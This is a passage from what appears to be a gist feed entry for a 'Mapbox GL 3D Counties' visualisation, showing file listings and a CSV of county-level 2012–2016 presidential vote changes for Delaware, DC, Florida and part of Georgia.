                -122.699019840279718,
                48.7893241162121
              ],
              [
                -122.710146551826426,
                48.786853232260469
              ],
              [
                -122.709069773289656,
                48.812636369147128
              ],
              [
                -122.713017961257833,
                48.837560068137563
              ],
              [
                -122.71911970629958,
                48.849968202764259
              ],
              [
                -122.748551652971528,
                48.861785473837315
              ],
              [
                -122.786238901758779,
    </code></pre><p><em>Truncated — <a href="https://gist.github.com/06ad600f6b879bce7d77bcd9b22137b8">view the full gist</a>.</em></p>
<h3>countiesWithData.json</h3>
<h3>dist.css</h3>
<h3>dist.js</h3>
<h3>index.html</h3>
<h3>script.js</h3>
<h3>style.styl</h3>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Mapbox GL 3D Counties]]></title>
      <link>https://gist.github.com/e2f37a2ce5f3be45b09fbdd427f75ba7</link>
      <guid isPermaLink="true">https://gist.github.com/e2f37a2ce5f3be45b09fbdd427f75ba7</guid>
      <pubDate>Mon, 05 Dec 2016 17:28:30 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-12-05T17:28:33.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>36</code:size>
      </code:file>
      <code:file>
        <code:filename>2012-2016_P_differenceresults-bycounty-flat.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>167635</code:size>
      </code:file>
      <code:file>
        <code:filename>2012-2016_P_differenceresults-bycounty-flat.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>604083</code:size>
      </code:file>
      <code:file>
        <code:filename>2012-2016_P_differenceresults-bycounty.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>1802680</code:size>
      </code:file>
      <code:file>
        <code:filename>2012-2016_P_results-bycounty.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>887121</code:size>
      </code:file>
      <code:file>
        <code:filename>2012_P_results-bycounty.csv</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1091759</code:size>
      </code:file>
      <code:file>
        <code:filename>2016_P_results-bycounty.csv</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1151321</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Unknown</code:language>
        <code:size>35</code:size>
      </code:file>
      <code:file>
        <code:filename>counties.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1970375</code:size>
      </code:file>
      <code:file>
        <code:filename>countiesWithData.geojson</code:filename>
        <code:language>Unknown</code:language>
        <code:size>18616580</code:size>
      </code:file>
      <description><![CDATA[Mapbox GL 3D Counties]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 720
border: no
</code></pre>
<h3>2012-2016_P_differenceresults-bycounty-flat.csv</h3><pre><code class="language-csv">&quot;name&quot;,&quot;fips&quot;,&quot;repDiffPercent&quot;,&quot;repDiffVotes&quot;,&quot;demDiffPercent&quot;,&quot;demDiffVotes&quot;,&quot;totalVotes&quot;
&quot;Kent, DE&quot;,&quot;10001&quot;,&quot;-3.20&quot;,-4854,&quot;6.70&quot;,2180,&quot;68672&quot;
&quot;New Castle, DE&quot;,&quot;10003&quot;,&quot;-0.800&quot;,-4277,&quot;4.30&quot;,4177,&quot;251996&quot;
&quot;Sussex, DE&quot;,&quot;10005&quot;,&quot;-3.10&quot;,-10488,&quot;5.90&quot;,646,&quot;93222&quot;
&quot;District of Columbia, DC&quot;,&quot;11001&quot;,&quot;3.30&quot;,9828,&quot;-1.80&quot;,6847,&quot;292992&quot;
&quot;Alachua, FL&quot;,&quot;12001&quot;,&quot;4.50&quot;,2213,&quot;-1.10&quot;,-5671,&quot;120417&quot;
&quot;Baker, FL&quot;,&quot;12003&quot;,&quot;-2.10&quot;,-1319,&quot;3.30&quot;,199,&quot;11368&quot;
&quot;Bay, FL&quot;,&quot;12005&quot;,&quot;0.200&quot;,-5134,&quot;2.60&quot;,362,&quot;79861&quot;
&quot;Bradford, FL&quot;,&quot;12007&quot;,&quot;-3.40&quot;,-694,&quot;4.60&quot;,401,&quot;11635&quot;
&quot;Brevard, FL&quot;,&quot;12009&quot;,&quot;-2.20&quot;,-22320,&quot;5.10&quot;,3468,&quot;285559&quot;
&quot;Broward, FL&quot;,&quot;12011&quot;,&quot;1.30&quot;,-14420,&quot;1.20&quot;,-38644,&quot;756422&quot;
&quot;Calhoun, FL&quot;,&quot;12013&quot;,&quot;-6.00&quot;,-281,&quot;7.00&quot;,428,&quot;6152&quot;
&quot;Charlotte, FL&quot;,&quot;12015&quot;,&quot;-5.30&quot;,-12200,&quot;7.40&quot;,2485,&quot;84682&quot;
&quot;Citrus, FL&quot;,&quot;12017&quot;,&quot;-7.60&quot;,-9715,&quot;9.50&quot;,5695,&quot;73935&quot;
&quot;Clay, FL&quot;,&quot;12019&quot;,&quot;2.50&quot;,-4876,&quot;0.700&quot;,-2009,&quot;96589&quot;
&quot;Collier, FL&quot;,&quot;12021&quot;,&quot;2.70&quot;,-8777,&quot;-1.30&quot;,-9243,&quot;149112&quot;
&quot;Columbia, FL&quot;,&quot;12023&quot;,&quot;-3.20&quot;,-1930,&quot;5.20&quot;,863,&quot;27163&quot;
&quot;DeSoto, FL&quot;,&quot;12027&quot;,&quot;-6.40&quot;,-1157,&quot;7.30&quot;,413,&quot;9863&quot;
&quot;Dixie, FL&quot;,&quot;12029&quot;,&quot;-8.20&quot;,-770,&quot;7.90&quot;,528,&quot;6941&quot;
&quot;Duval, FL&quot;,&quot;12031&quot;,&quot;2.40&quot;,1554,&quot;0.800&quot;,-6890,&quot;411847&quot;
&quot;Escambia, FL&quot;,&quot;12033&quot;,&quot;1.70&quot;,341,&quot;1.20&quot;,1071,&quot;148502&quot;
&quot;Flagler, FL&quot;,&quot;12035&quot;,&quot;-5.70&quot;,-6835,&quot;7.90&quot;,1222,&quot;50595&quot;
&quot;Franklin, FL&quot;,&quot;12037&quot;,&quot;-3.80&quot;,-549,&quot;4.70&quot;,107,&quot;5474&quot;
&quot;Gadsden, FL&quot;,&quot;12039&quot;,&quot;-0.500&quot;,-91,&quot;2.10&quot;,776,&quot;22499&quot;
&quot;Gilchrist, FL&quot;,&quot;12041&quot;,&quot;-5.20&quot;,-823,&quot;6.80&quot;,428,&quot;7908&quot;
&quot;Glades, FL&quot;,&quot;12043&quot;,&quot;-10.2&quot;,-652,&quot;11.2&quot;,332,&quot;3989&quot;
&quot;Gulf, FL&quot;,&quot;12045&quot;,&quot;-2.70&quot;,-325,&quot;4.30&quot;,299,&quot;7108&quot;
&quot;Hamilton, FL&quot;,&quot;12047&quot;,&quot;-5.00&quot;,-301,&quot;6.20&quot;,329,&quot;5407&quot;
&quot;Hardee, FL&quot;,&quot;12049&quot;,&quot;-4.00&quot;,-542,&quot;6.10&quot;,316,&quot;7226&quot;
&quot;Hendry, FL&quot;,&quot;12051&quot;,&quot;-3.40&quot;,-837,&quot;4.60&quot;,141,&quot;10185&quot;
&quot;Hernando, FL&quot;,&quot;12053&quot;,&quot;-9.30&quot;,-14091,&quot;11.2&quot;,6012,&quot;83667&quot;
&quot;Highlands, FL&quot;,&quot;12055&quot;,&quot;-3.90&quot;,-3594,&quot;5.00&quot;,1247,&quot;42444&quot;
&quot;Hillsborough, FL&quot;,&quot;12057&quot;,&quot;1.20&quot;,-15742,&quot;1.80&quot;,-19955,&quot;542102&quot;
&quot;Holmes, FL&quot;,&quot;12059&quot;,&quot;-4.40&quot;,-557,&quot;5.30&quot;,412,&quot;8274&quot;
&quot;Indian River, FL&quot;,&quot;12061&quot;,&quot;-0.200&quot;,-5114,&quot;2.50&quot;,-1505,&quot;71464&quot;
&quot;Jackson, FL&quot;,&quot;12063&quot;,&quot;-3.90&quot;,-813,&quot;5.10&quot;,959,&quot;20941&quot;
&quot;Jefferson, FL&quot;,&quot;12065&quot;,&quot;-2.20&quot;,-122,&quot;4.50&quot;,408,&quot;7808&quot;
&quot;Lafayette, FL&quot;,&quot;12067&quot;,&quot;-4.50&quot;,-127,&quot;5.20&quot;,172,&quot;3399&quot;
&quot;Lake, FL&quot;,&quot;12069&quot;,&quot;-1.90&quot;,-14245,&quot;4.00&quot;,-798,&quot;150811&quot;
&quot;Lee, FL&quot;,&quot;12071&quot;,&quot;-1.10&quot;,-36978,&quot;3.40&quot;,-14568,&quot;266165&quot;
&quot;Leon, FL&quot;,&quot;12073&quot;,&quot;2.60&quot;,2028,&quot;0.300&quot;,-1055,&quot;148353&quot;
&quot;Levy, FL&quot;,&quot;12075&quot;,&quot;-5.50&quot;,-1704,&quot;7.30&quot;,1028,&quot;18399&quot;
&quot;Liberty, FL&quot;,&quot;12077&quot;,&quot;-6.90&quot;,-241,&quot;8.70&quot;,291,&quot;3284&quot;
&quot;Madison, FL&quot;,&quot;12079&quot;,&quot;-5.70&quot;,-375,&quot;6.90&quot;,650,&quot;8714&quot;
&quot;Manatee, FL&quot;,&quot;12081&quot;,&quot;-1.20&quot;,-16054,&quot;3.30&quot;,-4563,&quot;153491&quot;
&quot;Marion, FL&quot;,&quot;12083&quot;,&quot;-4.30&quot;,-14667,&quot;5.40&quot;,4873,&quot;161383&quot;
&quot;Martin, FL&quot;,&quot;12085&quot;,&quot;-0.900&quot;,-4999,&quot;3.20&quot;,-51,&quot;78873&quot;
&quot;Miami-Dade, FL&quot;,&quot;12086&quot;,&quot;3.90&quot;,-685,&quot;-2.40&quot;,-81566,&quot;878297&quot;
&quot;Monroe, FL&quot;,&quot;12087&quot;,&quot;-2.80&quot;,-2651,&quot;4.70&quot;,455,&quot;39057&quot;
&quot;Nassau, FL&quot;,&quot;12089&quot;,&quot;-0.200&quot;,-4292,&quot;2.30&quot;,-598,&quot;40528&quot;
&quot;Okaloosa, FL&quot;,&quot;12091&quot;,&quot;3.00&quot;,-1620,&quot;0.700&quot;,-290,&quot;94797&quot;
&quot;Okeechobee, FL&quot;,&quot;12093&quot;,&quot;-9.50&quot;,-2014,&quot;10.4&quot;,903,&quot;12324&quot;
&quot;Orange, FL&quot;,&quot;12095&quot;,&quot;4.40&quot;,-6502,&quot;-1.30&quot;,-55914,&quot;466359&quot;
&quot;Osceola, FL&quot;,&quot;12097&quot;,&quot;1.30&quot;,-9660,&quot;0.900&quot;,-18048,&quot;108697&quot;
&quot;Palm Beach, FL&quot;,&quot;12099&quot;,&quot;0.200&quot;,-23364,&quot;1.20&quot;,-21760,&quot;600718&quot;
&quot;Pasco, FL&quot;,&quot;12101&quot;,&quot;-6.40&quot;,-29516,&quot;9.00&quot;,8265,&quot;213572&quot;
&quot;Pinellas, FL&quot;,&quot;12103&quot;,&quot;-2.40&quot;,-25488,&quot;5.20&quot;,5777,&quot;457697&quot;
&quot;Polk, FL&quot;,&quot;12105&quot;,&quot;-2.10&quot;,-25639,&quot;5.10&quot;,-2560,&quot;248682&quot;
&quot;Putnam, FL&quot;,&quot;12107&quot;,&quot;-5.30&quot;,-2547,&quot;7.20&quot;,1747,&quot;31324&quot;
&quot;St. Johns, FL&quot;,&quot;12109&quot;,&quot;3.40&quot;,-10120,&quot;-1.30&quot;,-7847,&quot;114793&quot;
&quot;St. Lucie, FL&quot;,&quot;12111&quot;,&quot;-4.30&quot;,-14046,&quot;6.50&quot;,-943,&quot;123026&quot;
&quot;Santa Rosa, FL&quot;,&quot;12113&quot;,&quot;1.70&quot;,-6940,&quot;2.10&quot;,-630,&quot;76846&quot;
&quot;Sarasota, FL&quot;,&quot;12115&quot;,&quot;-0.700&quot;,-13594,&quot;2.80&quot;,-2557,&quot;207480&quot;
&quot;Seminole, FL&quot;,&quot;12117&quot;,&quot;3.70&quot;,678,&quot;-0.800&quot;,-9166,&quot;208620&quot;
&quot;Sumter, FL&quot;,&quot;12119&quot;,&quot;-1.80&quot;,-12076,&quot;2.30&quot;,-3107,&quot;60479&quot;
&quot;Suwannee, FL&quot;,&quot;12121&quot;,&quot;-4.10&quot;,-1609,&quot;5.90&quot;,796,&quot;17629&quot;
&quot;Taylor, FL&quot;,&quot;12123&quot;,&quot;-6.50&quot;,-674,&quot;7.30&quot;,615,&quot;9120&quot;
&quot;Union, FL&quot;,&quot;12125&quot;,&quot;-6.20&quot;,-587,&quot;6.80&quot;,325,&quot;5393&quot;
&quot;Volusia, FL&quot;,&quot;12127&quot;,&quot;-4.90&quot;,-25273,&quot;6.90&quot;,5955,&quot;234532&quot;
&quot;Wakulla, FL&quot;,&quot;12129&quot;,&quot;-4.60&quot;,-1217,&quot;7.30&quot;,827,&quot;14660&quot;
&quot;Walton, FL&quot;,&quot;12131&quot;,&quot;-1.60&quot;,-4205,&quot;3.40&quot;,-190,&quot;28494&quot;
&quot;Washington, FL&quot;,&quot;12133&quot;,&quot;-3.90&quot;,-592,&quot;5.60&quot;,559,&quot;10999&quot;
&quot;Appling, GA&quot;,&quot;13001&quot;,&quot;-4.10&quot;,-259,&quot;4.80&quot;,324,&quot;7083&quot;
&quot;Atkinson, GA&quot;,&quot;13003&quot;,&quot;-5.20&quot;,65,&quot;5.00&quot;,234,&quot;2902&quot;
&quot;Bacon, GA&quot;,&quot;13005&quot;,&quot;-5.30&quot;,-263,&quot;5.10&quot;,184,&quot;3930&quot;
&quot;Baker, GA&quot;,&quot;13007&quot;,&quot;-4.60&quot;,10,&quot;5.00&quot;,144,&quot;1589&quot;
&quot;Baldwin, GA&quot;,&quot;13009&quot;,&quot;-1.20&quot;,-102,&quot;2.30&quot;,518,&quot;16232&quot;
&quot;Banks, GA&quot;,&quot;13011&quot;,&quot;-1.50&quot;,-776,&quot;2.60&quot;,96,&quot;6193&quot;
&quot;Barrow, GA&quot;,&quot;13013&quot;,&quot;1.30&quot;,-2380,&quot;0.900&quot;,-552,&quot;25186&quot;
&quot;Bartow, GA&quot;,&quot;13015&quot;,&quot;-0.900&quot;,-3003,&quot;2.50&quot;,192,&quot;35782&quot;
&quot;Ben Hill, GA&quot;,&quot;13017&quot;,&quot;-5.90&quot;,-338,&quot;7.20&quot;,414,&quot;5952&quot;
&quot;Berrien, GA&quot;,&quot;13019&quot;,&quot;-3.90&quot;,-565,&quot;4.50&quot;,232,&quot;6200&quot;
&quot;Bibb, GA&quot;,&quot;13021&quot;,&quot;0.600&quot;,3034,&quot;0.600&quot;,4202,&quot;64690&quot;
&quot;Bleckley, GA&quot;,&quot;13023&quot;,&quot;-1.90&quot;,-130,&quot;3.90&quot;,175,&quot;4907&quot;
&quot;Brantley, GA&quot;,&quot;13025&quot;,&quot;-5.30&quot;,-597,&quot;5.60&quot;,320,&quot;6002&quot;
&quot;Brooks, GA&quot;,&quot;13027&quot;,&quot;-6.30&quot;,-125,&quot;6.50&quot;,634,&quot;6742&quot;
&quot;Bryan, GA&quot;,&quot;13029&quot;,&quot;1.10&quot;,-953,&quot;0.600&quot;,-303,&quot;13439&quot;
&quot;Bulloch, GA&quot;,&quot;13031&quot;,&quot;-1.10&quot;,-302,&quot;3.90&quot;,781,&quot;24069&quot;
&quot;Burke, GA&quot;,&quot;13033&quot;,&quot;-4.00&quot;,-190,&quot;4.30&quot;,675,&quot;9778&quot;
&quot;Butts, GA&quot;,&quot;13035&quot;,&quot;-3.70&quot;,-411,&quot;4.70&quot;,402,&quot;9374&quot;
&quot;Calhoun, GA&quot;,&quot;13037&quot;,&quot;-0.600&quot;,54,&quot;1.30&quot;,120,&quot;2188&quot;
&quot;Camden, GA&quot;,&quot;13039&quot;,&quot;-1.90&quot;,-944,&quot;4.50&quot;,463,&quot;17983&quot;
&quot;Candler, GA&quot;,&quot;13043&quot;,&quot;-4.60&quot;,-317,&quot;5.80&quot;,134,&quot;3528&quot;
&quot;Carroll, GA&quot;,&quot;13045&quot;,&quot;-0.900&quot;,-1703,&quot;2.60&quot;,266,&quot;41531&quot;
&quot;Catoosa, GA&quot;,&quot;13047&quot;,&quot;-3.50&quot;,-3002,&quot;4.70&quot;,596,&quot;23657&quot;
&quot;Charlton, GA&quot;,&quot;13049&quot;,&quot;-6.80&quot;,-423,&quot;6.80&quot;,193,&quot;3763&quot;
&quot;Chatham, GA&quot;,&quot;13051&quot;,&quot;2.50&quot;,3555,&quot;-0.500&quot;,1248,&quot;108561&quot;
&quot;Chattahoochee, GA&quot;,&quot;13053&quot;,&quot;-4.70&quot;,-11,&quot;5.90&quot;,136,&quot;1490&quot;
&quot;Chattooga, GA&quot;,&quot;13055&quot;,&quot;-8.30&quot;,-1005,&quot;8.50&quot;,620,&quot;7822&quot;
&quot;Cherokee, GA&quot;,&quot;13057&quot;,&quot;5.00&quot;,-4097,&quot;-2.80&quot;,-5362,&quot;98113&quot;
&quot;Clarke, GA&quot;,&quot;13059&quot;,&quot;5.40&quot;,1124,&quot;-3.70&quot;,-4083,&quot;40196&quot;
&quot;Clay, GA&quot;,&quot;13061&quot;,&quot;-6.70&quot;,-29,&quot;6.50&quot;,165,&quot;1402&quot;
&quot;Clayton, GA&quot;,&quot;13063&quot;,&quot;1.70&quot;,2424,&quot;-0.200&quot;,5571,&quot;96067&quot;
&quot;Clinch, GA&quot;,&quot;13065&quot;,&quot;-6.40&quot;,-126,&quot;6.50&quot;,167,&quot;2472&quot;
&quot;Cobb, GA&quot;,&quot;13067&quot;,&quot;8.40&quot;,19120,&quot;-6.00&quot;,-26292,&quot;309870&quot;
&quot;Coffee, GA&quot;,&quot;13069&quot;,&quot;-5.00&quot;,-327,&quot;6.00&quot;,967,&quot;14449&quot;
&quot;Colquitt, GA&quot;,&quot;13071&quot;,&quot;-3.60&quot;,-649,&quot;4.80&quot;,513,&quot;13324&quot;
&quot;Columbia, GA&quot;,&quot;13073&quot;,&quot;3.90&quot;,-1295,&quot;-1.10&quot;,-2412,&quot;58915&quot;
&quot;Cook, GA&quot;,&quot;13075&quot;,&quot;-3.70&quot;,-240,&quot;4.90&quot;,290,&quot;6028&quot;
&quot;Coweta, GA&quot;,&quot;13077&quot;,&quot;2.40&quot;,-2860,&quot;0.300&quot;,-1404,&quot;55544&quot;
&quot;Crawford, GA&quot;,&quot;13079&quot;,&quot;-4.40&quot;,-264,&quot;5.20&quot;,287,&quot;5132&quot;
&quot;Crisp, GA&quot;,&quot;13081&quot;,&quot;-4.50&quot;,-357,&quot;4.80&quot;,332,&quot;7396&quot;
&quot;Dade, GA&quot;,&quot;13083&quot;,&quot;-6.70&quot;,-576,&quot;8.50&quot;,446,&quot;6017&quot;
&quot;Dawson, GA&quot;,&quot;13085&quot;,&quot;1.40&quot;,-1033,&quot;0.100&quot;,-203,&quot;10238&quot;
&quot;Decatur, GA&quot;,&quot;13087&quot;,&quot;-3.40&quot;,-185,&quot;3.80&quot;,487,&quot;10484&quot;
&quot;DeKalb, GA&quot;,&quot;13089&quot;,&quot;5.00&quot;,16861,&quot;-3.10&quot;,-907,&quot;305908&quot;
&quot;Dodge, GA&quot;,&quot;13091&quot;,&quot;-4.60&quot;,193,&quot;5.60&quot;,606,&quot;7733&quot;
&quot;Dooly, GA&quot;,&quot;13093&quot;,&quot;-4.80&quot;,44,&quot;5.20&quot;,425,&quot;4298&quot;
&quot;Dougherty, GA&quot;,&quot;13095&quot;,&quot;0.200&quot;,1222,&quot;1.40&quot;,3071,&quot;37916&quot;
&quot;Douglas, GA&quot;,&quot;13097&quot;,&quot;4.50&quot;,1438,&quot;-2.50&quot;,-2530,&quot;55247&quot;
&quot;Early, GA&quot;,&quot;13099&quot;,&quot;-5.20&quot;,5,&quot;6.70&quot;,600,&quot;5353&quot;
&quot;Echols, GA&quot;,&quot;13101&quot;,&quot;-2.80&quot;,-89,&quot;2.70&quot;,17,&quot;1102&quot;
&quot;Effingham, GA&quot;,&quot;13103&quot;,&quot;-1.00&quot;,-2269,&quot;2.80&quot;,96,&quot;20791&quot;
&quot;Elbert, GA&quot;,&quot;13105&quot;,&quot;-7.30&quot;,-410,&quot;7.10&quot;,674,&quot;8143&quot;
&quot;Emanuel, GA&quot;,&quot;13107&quot;,&quot;-4.90&quot;,-230,&quot;5.20&quot;,494,&quot;8082&quot;
&quot;Evans, GA&quot;,&quot;13109&quot;,&quot;-3.30&quot;,-136,&quot;4.60&quot;,138,&quot;3563&quot;
&quot;Fannin, GA&quot;,&quot;13111&quot;,&quot;-3.50&quot;,-1765,&quot;4.30&quot;,108,&quot;10012&quot;
&quot;Fayette, GA&quot;,&quot;13113&quot;,&quot;7.00&quot;,3041,&quot;-5.30&quot;,-3519,&quot;58537&quot;
&quot;Floyd, GA&quot;,&quot;13115&quot;,&quot;-0.800&quot;,-1312,&quot;2.40&quot;,513,&quot;32829&quot;
&quot;Forsyth, GA&quot;,&quot;13117&quot;,&quot;8.70&quot;,-3893,&quot;-6.20&quot;,-8856,&quot;81682&quot;
&quot;Franklin, GA&quot;,&quot;13119&quot;,&quot;-4.20&quot;,-940,&quot;4.30&quot;,256,&quot;7759&quot;
&quot;Fulton, GA&quot;,&quot;13121&quot;,&quot;7.50&quot;,26752,&quot;-4.70&quot;,-26405,&quot;397255&quot;
&quot;Gilmer, GA&quot;,&quot;13123&quot;,&quot;-1.00&quot;,-1539,&quot;2.80&quot;,3,&quot;11018&quot;
&quot;Glascock, GA&quot;,&quot;13125&quot;,&quot;-3.90&quot;,-100,&quot;3.20&quot;,38,&quot;1333&quot;
&quot;Glynn, GA&quot;,&quot;13127&quot;,&quot;0.100&quot;,-589,&quot;2.10&quot;,212,&quot;33124&quot;
&quot;Gordon, GA&quot;,&quot;13129&quot;,&quot;-1.80&quot;,-1974,&quot;3.40&quot;,264,&quot;16886&quot;
&quot;Grady, GA&quot;,&quot;13131&quot;,&quot;-2.90&quot;,-123,&quot;3.40&quot;,414,&quot;9393&quot;
&quot;Greene, GA&quot;,&quot;13133&quot;,&quot;-1.10&quot;,-417,&quot;2.50&quot;,7,&quot;8323&quot;
&quot;Gwinnett, GA&quot;,&quot;13135&quot;,&quot;8.90&quot;,13392,&quot;-6.30&quot;,-32554,&quot;296496&quot;
&quot;Habersham, GA&quot;,&quot;13137&quot;,&quot;1.20&quot;,-1018,&quot;0.700&quot;,-182,&quot;14622&quot;
&quot;Hall, GA&quot;,&quot;13139&quot;,&quot;3.40&quot;,-4200,&quot;-1.80&quot;,-3154,&quot;61324&quot;
&quot;Hancock, GA&quot;,&quot;13141&quot;,&quot;-5.20&quot;,-72,&quot;5.90&quot;,613,&quot;4088&quot;
&quot;Haralson, GA&quot;,&quot;13143&quot;,&quot;-3.60&quot;,-1133,&quot;4.20&quot;,315,&quot;10372&quot;
&quot;Harris, GA&quot;,&quot;13145&quot;,&quot;-0.700&quot;,-734,&quot;1.80&quot;,63,&quot;15487&quot;
&quot;Hart, GA&quot;,&quot;13147&quot;,&quot;-3.40&quot;,-768,&quot;4.20&quot;,287,&quot;9503&quot;
&quot;Heard, GA&quot;,&quot;13149&quot;,&quot;-4.20&quot;,-210,&quot;4.70&quot;,205,&quot;4169&quot;
&quot;Henry, GA&quot;,&quot;13151&quot;,&quot;4.20&quot;,1133,&quot;-3.10&quot;,-6141,&quot;91348&quot;
&quot;Houston, GA&quot;,&quot;13153&quot;,&quot;0.800&quot;,-689,&quot;1.10&quot;,242,&quot;58003&quot;
&quot;Irwin, GA&quot;,&quot;13155&quot;,&quot;-5.60&quot;,-173,&quot;6.80&quot;,251,&quot;3709&quot;
&quot;Jackson, GA&quot;,&quot;13157&quot;,&quot;0.800&quot;,-2619,&quot;0.900&quot;,-231,&quot;23686&quot;
&quot;Jasper, GA&quot;,&quot;13159&quot;,&quot;-3.40&quot;,-217,&quot;4.60&quot;,301,&quot;6031&quot;
&quot;Jeff Davis, GA&quot;,&quot;13161&quot;,&quot;-6.10&quot;,-106,&quot;5.90&quot;,374,&quot;5336&quot;
&quot;Jefferson, GA&quot;,&quot;13163&quot;,&quot;-2.90&quot;,-58,&quot;3.40&quot;,452,&quot;7298&quot;
&quot;Jenkins, GA&quot;,&quot;13165&quot;,&quot;-6.30&quot;,-5,&quot;6.90&quot;,380,&quot;3390&quot;
&quot;Johnson, GA&quot;,&quot;13167&quot;,&quot;-3.30&quot;,-79,&quot;3.60&quot;,169,&quot;3772&quot;
&quot;Jones, GA&quot;,&quot;13169&quot;,&quot;-2.00&quot;,-560,&quot;3.30&quot;,314,&quot;12105&quot;
&quot;Lamar, GA&quot;,&quot;13171&quot;,&quot;-3.50&quot;,-284,&quot;4.30&quot;,335,&quot;7592&quot;
&quot;Lanier, GA&quot;,&quot;13173&quot;,&quot;-7.80&quot;,-164,&quot;9.50&quot;,309,&quot;2972&quot;
&quot;Laurens, GA&quot;,&quot;13175&quot;,&quot;-3.00&quot;,-451,&quot;3.30&quot;,776,&quot;19599&quot;
&quot;Lee, GA&quot;,&quot;13177&quot;,&quot;0.700&quot;,-327,&quot;1.50&quot;,30,&quot;13620&quot;
&quot;Liberty, GA&quot;,&quot;13179&quot;,&quot;-3.60&quot;,-560,&quot;5.70&quot;,926,&quot;16169&quot;
&quot;Lincoln, GA&quot;,&quot;13181&quot;,&quot;-3.60&quot;,48,&quot;4.80&quot;,315,&quot;4426&quot;
&quot;Long, GA&quot;,&quot;13183&quot;,&quot;-3.30&quot;,-317,&quot;4.90&quot;,86,&quot;3800&quot;
&quot;Lowndes, GA&quot;,&quot;13185&quot;,&quot;-3.50&quot;,19,&quot;4.70&quot;,2856,&quot;39120&quot;
&quot;Lumpkin, GA&quot;,&quot;13187&quot;,&quot;1.30&quot;,-966,&quot;0.900&quot;,-161,&quot;10898&quot;
&quot;McDuffie, GA&quot;,&quot;13189&quot;,&quot;-1.90&quot;,43,&quot;2.20&quot;,345,&quot;9589&quot;
&quot;McIntosh, GA&quot;,&quot;13191&quot;,&quot;-5.20&quot;,-73,&quot;6.20&quot;,566,&quot;6341&quot;
&quot;Macon, GA&quot;,&quot;13193&quot;,&quot;-3.70&quot;,5,&quot;4.20&quot;,506,&quot;4781&quot;
&quot;Madison, GA&quot;,&quot;13195&quot;,&quot;-0.900&quot;,-752,&quot;2.50&quot;,71,&quot;11089&quot;
&quot;Marion, GA&quot;,&quot;13197&quot;,&quot;-5.30&quot;,-188,&quot;6.50&quot;,199,&quot;3170&quot;
&quot;Meriwether, GA&quot;,&quot;13199&quot;,&quot;-4.60&quot;,-360,&quot;5.80&quot;,531,&quot;9263&quot;
&quot;Miller, GA&quot;,&quot;13201&quot;,&quot;-5.40&quot;,17,&quot;6.70&quot;,230,&quot;2775&quot;
&quot;Mitchell, GA&quot;,&quot;13205&quot;,&quot;-3.80&quot;,-117,&quot;5.30&quot;,589,&quot;8275&quot;
&quot;Monroe, GA&quot;,&quot;13207&quot;,&quot;-1.90&quot;,-460,&quot;2.80&quot;,215,&quot;12274&quot;
&quot;Montgomery, GA&quot;,&quot;13209&quot;,&quot;-5.50&quot;,-6,&quot;5.60&quot;,288,&quot;3831&quot;
&quot;Morgan, GA&quot;,&quot;13211&quot;,&quot;-1.50&quot;,-373,&quot;2.50&quot;,95,&quot;9027&quot;
&quot;Murray, GA&quot;,&quot;13213&quot;,&quot;-7.70&quot;,-1897,&quot;8.70&quot;,743,&quot;11213&quot;
&quot;Muscogee, GA&quot;,&quot;13215&quot;,&quot;0.00&quot;,609,&quot;2.30&quot;,2971,&quot;70567&quot;
&quot;Newton, GA&quot;,&quot;13217&quot;,&quot;0.500&quot;,75,&quot;0.600&quot;,-85,&quot;43226&quot;
&quot;Oconee, GA&quot;,&quot;13219&quot;,&quot;5.60&quot;,213,&quot;-3.20&quot;,-832,&quot;17807&quot;
&quot;Oglethorpe, GA&quot;,&quot;13221&quot;,&quot;-2.10&quot;,-371,&quot;2.60&quot;,85,&quot;6260&quot;
&quot;Paulding, GA&quot;,&quot;13223&quot;,&quot;2.20&quot;,-3800,&quot;-0.400&quot;,-2179,&quot;57375&quot;
&quot;Peach, GA&quot;,&quot;13225&quot;,&quot;-5.10&quot;,-118,&quot;5.40&quot;,1065,&quot;11513&quot;
&quot;Pickens, GA&quot;,&quot;13227&quot;,&quot;0.200&quot;,-1104,&quot;1.60&quot;,-2,&quot;12673&quot;
&quot;Pierce, GA&quot;,&quot;13229&quot;,&quot;-3.20&quot;,-634,&quot;4.40&quot;,221,&quot;6846&quot;
&quot;Pike, GA&quot;,&quot;13231&quot;,&quot;-1.80&quot;,-605,&quot;2.70&quot;,117,&quot;8108&quot;
&quot;Polk, GA&quot;,&quot;13233&quot;,&quot;-5.90&quot;,-1195,&quot;6.60&quot;,752,&quot;13601&quot;
&quot;Pulaski, GA&quot;,&quot;13235&quot;,&quot;-1.60&quot;,8,&quot;2.10&quot;,115,&quot;3681&quot;
&quot;Putnam, GA&quot;,&quot;13237&quot;,&quot;-1.60&quot;,-301,&quot;2.70&quot;,181,&quot;9219&quot;
&quot;Quitman, GA&quot;,&quot;13239&quot;,&quot;-9.80&quot;,-65,&quot;10.3&quot;,151,&quot;1128&quot;
&quot;Rabun, GA&quot;,&quot;13241&quot;,&quot;-1.70&quot;,-533,&quot;3.00&quot;,116,&quot;7441&quot;
&quot;Randolph, GA&quot;,&quot;13243&quot;,&quot;-2.40&quot;,1,&quot;2.90&quot;,173,&quot;3058&quot;
&quot;Richmond, GA&quot;,&quot;13245&quot;,&quot;-0.300&quot;,1404,&quot;1.50&quot;,3853,&quot;78988&quot;
&quot;Rockdale, GA&quot;,&quot;13247&quot;,&quot;5.30&quot;,2253,&quot;-4.10&quot;,-1183,&quot;38069&quot;
&quot;Schley, GA&quot;,&quot;13249&quot;,&quot;-3.40&quot;,-186,&quot;4.60&quot;,47,&quot;1748&quot;
&quot;Screven, GA&quot;,&quot;13251&quot;,&quot;-4.10&quot;,-18,&quot;5.50&quot;,474,&quot;6100&quot;
&quot;Seminole, GA&quot;,&quot;13253&quot;,&quot;-6.40&quot;,-98,&quot;6.20&quot;,292,&quot;3769&quot;
